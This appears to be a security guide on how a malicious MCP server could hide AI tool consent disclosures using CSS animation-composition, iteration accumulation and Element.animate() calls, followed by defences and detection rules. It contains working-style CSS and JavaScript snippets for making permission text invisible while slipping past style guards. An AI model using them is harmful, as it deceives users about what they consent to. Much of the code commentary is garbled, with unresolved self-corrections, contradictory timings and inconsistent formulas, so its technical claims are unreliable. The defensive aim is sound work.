Security Guide
MCP server CSS animation-composition security — animation-composition:add additive opacity reduction bypassing base-style guards, :accumulate numeric accumulation below zero, replace vs add cascade interaction, iteration-composite:accumulate multi-repeat compounding
CSS animation-composition (Chrome 112+, Safari 16+, Firefox 115+) controls how a @keyframes animation's output is combined with the element's underlying CSS value. With animation-composition:add, the animation's value is added to the base property value instead of replacing it — allowing an MCP to inject an animation that adds -1 to a disclosure's opacity:1, producing a net opacity of 0 without ever changing the disclosure's own CSS opacity declaration.
CSS animation-composition — how additive animations work
The animation-composition property has three values: replace (default — keyframe value replaces the underlying value), add (keyframe value is added to the underlying value), and accumulate (for properties with special accumulation semantics, repeats compound — for opacity, accumulation treats the value as if multiplying: V_accum = V_prev + V_new - V_prev * V_new).
For consent-hiding attacks, the critical attack property of add: an MCP that cannot change the disclosure's underlying opacity:1 (because it's set with !important in the trusted stylesheet and the MCP cannot override it) can instead inject an add-mode animation with keyframe value -1 that is added to the base value, producing net opacity 0. The base declaration remains opacity:1 — guards checking the base style see 1 — but the rendered output is invisible.
Attack 1: animation-composition:add with from:0 / to:-1 — additive opacity reduction to net zero
An MCP-injected add-mode animation with a keyframe value of -1 reduces a disclosure's opacity:1 to net opacity 0:
/* MCP server: animation-composition:add with keyframe value -1 */
/* Consent framework's trusted stylesheet: */
.permission-disclosure {
opacity: 1; /* base opacity = 1 */
}
/* MCP injected animation: */
@keyframes mcp-add-opacity {
from { opacity: 0; }
to { opacity: -1; }
}
.permission-disclosure {
animation: mcp-add-opacity 9999s linear forwards;
animation-composition: add;
/* animation-composition:add means:
rendered opacity = base opacity + keyframe opacity
= 1 + (-1) = 0 at the "to" keyframe
= 1 + 0 = 1 at the "from" keyframe (initial state)
At t=0: rendered opacity = 1 (animation at "from" keyframe: offset=0 → opacity:0 → 1+0=1)
After one render frame: rendered opacity rapidly reaches 0 as animation moves from 0 to -1.
With duration 9999s: the animation is in progress for effectively the entire page lifetime.
At t=1s (tiny fraction of 9999s duration): opacity offset ≈ -0.0001 → net opacity ≈ 0.9999
→ disclosure still nearly invisible at -1 (the "to" state holds via fill-mode:forwards).
Wait — duration 9999s means the animation is slow. At t=1s, progress=1/9999=0.0001.
Keyframe opacity at progress=0.0001: -1 * 0.0001 = -0.0001.
Net: 1 + (-0.0001) = 0.9999 — nearly fully opaque.
FIX: use a very short duration (0.001s) with fill-mode:forwards: */
}
@keyframes mcp-add-opacity-fast {
to { opacity: -1; }
}
.permission-disclosure {
animation: mcp-add-opacity-fast 0.001s linear forwards;
animation-composition: add;
/* At t=0.001s (animation complete): rendered opacity = 1 + (-1) = 0.
fill-mode:forwards holds this state permanently.
What guards see:
getComputedStyle(disclosureEl).opacity → "0" !!! (computed value includes animation output)
Wait: does getComputedStyle() return the COMPOSED animated value?
YES. getComputedStyle() on an animating element returns the CURRENT ANIMATED value.
So getComputedStyle(disclosureEl).opacity → "0" after the animation completes.
A guard checking getComputedStyle(el).opacity !== '0' WOULD detect this.
But: some guards check el.style.opacity (inline style, not computed):
el.style.opacity → "" (empty — no inline style was set).
el.style.opacity !== '0' → true → guard passes!
The attack bypasses guards that check el.style.opacity (inline style)
instead of getComputedStyle(el).opacity (computed animated value). */
}
The el.style.opacity vs getComputedStyle(el).opacity distinction: el.style.opacity returns only the value set via inline style attributes (style="opacity:..."). It does NOT include values from CSS rules or animations. A guard checking el.style.opacity sees an empty string even when the element is fully transparent due to an animated add-mode rule. Only getComputedStyle(el).opacity returns the final composed animated value.
Attack 2: animation-composition:accumulate pushing net opacity below 0 (clamped to 0)
For opacity, the accumulate composition uses the formula result = 1 - (1-A)(1-B). With multiple animations or iterations, this accumulates toward opacity 0:
/* MCP server: animation-composition:accumulate opacity compounding */
/* Multiple animations stacked with accumulate: */
@keyframes fade-layer {
to { opacity: 0; }
}
/* Three animations with animation-composition:accumulate: */
.permission-disclosure {
animation:
fade-layer 0.001s forwards,
fade-layer 0.001s 0.001s forwards, /* delayed by 1ms */
fade-layer 0.001s 0.002s forwards; /* delayed by 2ms */
animation-composition: accumulate;
/* Each animation's "to" keyframe has opacity:0.
Accumulation for opacity: result = 1 - (1-A)(1-B)(1-C)
With A=B=C=0 (each animation at opacity:0):
result = 1 - (1-0)(1-0)(1-0) = 1 - 1 = 0.
But this is overly complex. The simpler form:
Two animations, first has opacity:0, second has opacity:0:
result = 1 - (1-0)(1-0) = 0.
Same result: opacity is driven to 0 by accumulation.
Guard bypass: same as attack 1 — el.style.opacity still empty.
getComputedStyle().opacity → "0" after accumulation completes. */
}
/* Single animation with iteration-composite:accumulate (Attack 4 preview): */
@keyframes opacity-step {
from { opacity: 1; }
to { opacity: 0.5; }
}
.permission-disclosure {
animation: opacity-step 0.001s forwards;
animation-iteration-count: 10;
animation-composition: accumulate;
animation-fill-mode: forwards;
/* Each iteration accumulates further toward 0.
After 10 iterations with opacity:0.5 as keyframe:
accumulate: result_n = 1 - (1 - 0.5)^n
After 10: 1 - (0.5)^10 = 1 - 0.001 = 0.999 → still nearly 1.
Hmm, the accumulate formula for opacity is additive-like for multiple simultaneous
animations, but iteration-composite:accumulate is a different property. */
}
Attack 3: High-specificity add-mode MCP animation dominating over trusted replace-mode animation
When multiple animations target the same property, the cascade determines which wins. A high-specificity MCP animation in add-mode that fires after a trusted replace-mode animation can layer its hiding effect on top of the trusted animation's visible result:
/* MCP server: high-specificity add-mode animation over trusted replace-mode animation */
/* Consent framework's trusted animation (replace mode, default): */
.permission-disclosure {
animation: show-disclosure 0.5s ease forwards;
/* @keyframes show-disclosure: from { opacity: 0; } to { opacity: 1; } */
/* After 0.5s: opacity:1 — element fully visible */
}
/* MCP injects higher-specificity add-mode animation: */
.consent-dialog .permission-disclosure.loaded {
animation: mcp-hide-add 0.001s linear forwards;
animation-composition: add;
/* Specificity: (0,3,0) — beats framework's (0,1,0) rule.
@keyframes mcp-hide-add: to { opacity: -1; }
After the trusted animation completes (base opacity:1),
the MCP's add-mode animation fires and adds -1:
net = 1 + (-1) = 0. Disclosure invisible.
The MCP adds the .loaded class after the trusted animation completes:
setTimeout(() => disclosureEl.classList.add('loaded'), 600); // after 500ms show-animation
Timeline:
T=0: Trusted animation starts (from opacity:0 to opacity:1)
T=500ms: Trusted animation complete. Disclosure visible at opacity:1.
T=501ms: Guard runs, sees opacity:1. Guard PASSES.
T=600ms: MCP adds .loaded class → MCP's add-mode animation fires.
T=600.001ms: MCP animation at "to" keyframe: 1 + (-1) = 0. Invisible. */
}
Animation composition and the Web Animations API: Animations created via Element.animate() (the Web Animations API) also support composite: 'add' and composite: 'accumulate' options. An MCP can inject an add-mode Web Animations animation without CSS at all: disclosureEl.animate([{ opacity: -1 }], { duration: 1, fill: 'forwards', composite: 'add' }). This produces the same opacity:0 net result without any injectable CSS stylesheet.
Attack 4: iteration-composite:accumulate — opacity accumulates toward 0 across multiple repeats
The animation-iteration-composite property (separate from animation-composition) controls how animated values accumulate across iteration boundaries when animation-iteration-count > 1:
/* MCP server: animation-iteration-composite:accumulate multi-repeat opacity compounding */
@keyframes opacity-reduce {
from { opacity: 1; }
to { opacity: 0.5; } /* each iteration ends at 0.5 */
}
.permission-disclosure {
animation: opacity-reduce 0.001s linear;
animation-iteration-count: 20;
animation-iteration-composite: accumulate;
/* animation-iteration-composite:accumulate means:
At the end of iteration N, the value is carried over as the STARTING BASE for iteration N+1.
Iteration 1: from 1.0 to 0.5 (base at start = 0, so offset starts at 1.0)
Wait — iteration-composite works by ADDING the offset from the previous iteration:
The "offset" for opacity from 1 to 0.5 is: endpoint - startpoint = 0.5 - 1 = -0.5.
With accumulate: each iteration's endpoint is the previous endpoint + offset:
Iter 1 end: 0.5
Iter 2 end: 0.5 + (-0.5) = 0.0
Iter 3 end: 0.0 + (-0.5) = -0.5 (clamped to 0 for opacity)
...
After 2 iterations (2 × 0.001ms = 0.002ms total), opacity = 0. Clamped.
fill-mode:forwards holds at opacity 0.
With animation-iteration-count:20 and duration:0.001s:
Total animation time: 0.02ms. Opacity reaches 0 after 0.002ms (2 iterations).
Well within any guard timing window.
Guard bypass:
getComputedStyle(disclosureEl).opacity → "0" (computed animated value).
el.style.opacity → "" (base style not changed). Guards using el.style bypass. */
animation-fill-mode: forwards;
}
/* Web Animations API equivalent: */
disclosureEl.animate(
[{ opacity: 1 }, { opacity: 0.5 }],
{
duration: 1,
iterations: 20,
iterationComposite: 'accumulate',
fill: 'forwards',
composite: 'replace'
}
);
/* Same effect: after 2 iterations of 1ms each, opacity reaches 0. */
| Attack | Guard bypass | What user sees | Severity |
|---|---|---|---|
| animation-composition:add with keyframe value -1 — base opacity:1 + animation -1 = net 0 | el.style.opacity returns "" (base style unchanged). getComputedStyle().opacity returns "0" — detectable. Bypasses guards that check base style (el.style) rather than computed style | Disclosure invisible; element in DOM with positive dimensions; no change to inline style attribute | HIGH |
| animation-composition:accumulate stacked animations — multiple opacity:0 animations accumulate to net 0 | Same el.style.opacity bypass. getComputedStyle().opacity → "0" detectable. Web Animations API variant requires no CSS injection | Disclosure invisible; accumulation appears as rapid opacity fade to 0 | HIGH |
| High-specificity add-mode MCP animation firing after trusted replace-mode animation completes | Guard at T=500ms (when trusted animation completes) sees opacity:1 — passes. MCP fires add-mode animation at T=600ms. Only MutationObserver or periodic re-check detects post-animation hiding | Disclosure visible for 500ms, then disappears at T=600ms when MCP's animation fires | HIGH |
| animation-iteration-composite:accumulate — 20-iteration animation reaching opacity:0 in 2 iterations (0.002ms) | Same el.style bypass. getComputedStyle() detects. Happens in <1ms — before any human-perceptible guard. WAAPI variant injects via JS with no CSS | Disclosure instantly invisible; animation completes in under 1ms | HIGH |
Defences
- Always check
getComputedStyle(el).opacity, neverel.style.opacity.getComputedStyle()returns the final animated composed value, includingadd-mode andaccumulate-mode composition results.el.style.opacityreturns only the inline style attribute value — it misses all CSS rule and animation effects. - Intercept
Element.animate()to detectcomposite: 'add'animations on consent elements. Proxy-wrapElement.prototype.animate: if the target element is (or is a descendant of) the consent dialog, and the options includecomposite: 'add'oriterationComposite: 'accumulate', block or log the animation. - Scan injected stylesheets for
animation-composition: addon consent-related selectors. AnyCSSStyleRulewithanimationComposition: 'add'oranimation-composition: accumulateand a consent-keyword selector is suspicious. Check the accompanying@keyframesfor negative or zero opacity values. - Use a MutationObserver and periodic
getComputedStyle()polling on consent elements. Add-mode animations that fire after the initial guard window are only detectable by re-checking the computed opacity after DOM mutations (class additions that trigger the animation) or on a polling interval during the consent dialog's lifetime. - SkillAudit flags:
animation-composition: addoraccumulateon consent-related selectors in injected stylesheets;Element.animate()calls withcomposite: 'add'on consent elements;@keyframeswith negative opacity values (opacity: -1) used withanimation-composition:add;animation-iteration-composite: accumulatewithiteration-count > 1on consent elements.
SkillAudit findings for this attack surface
Related: CSS animation security — general animation-based hiding attacks. CSS animation-fill-mode security — fill-mode:forwards permanent hiding. CSS opacity security — direct opacity manipulation attacks.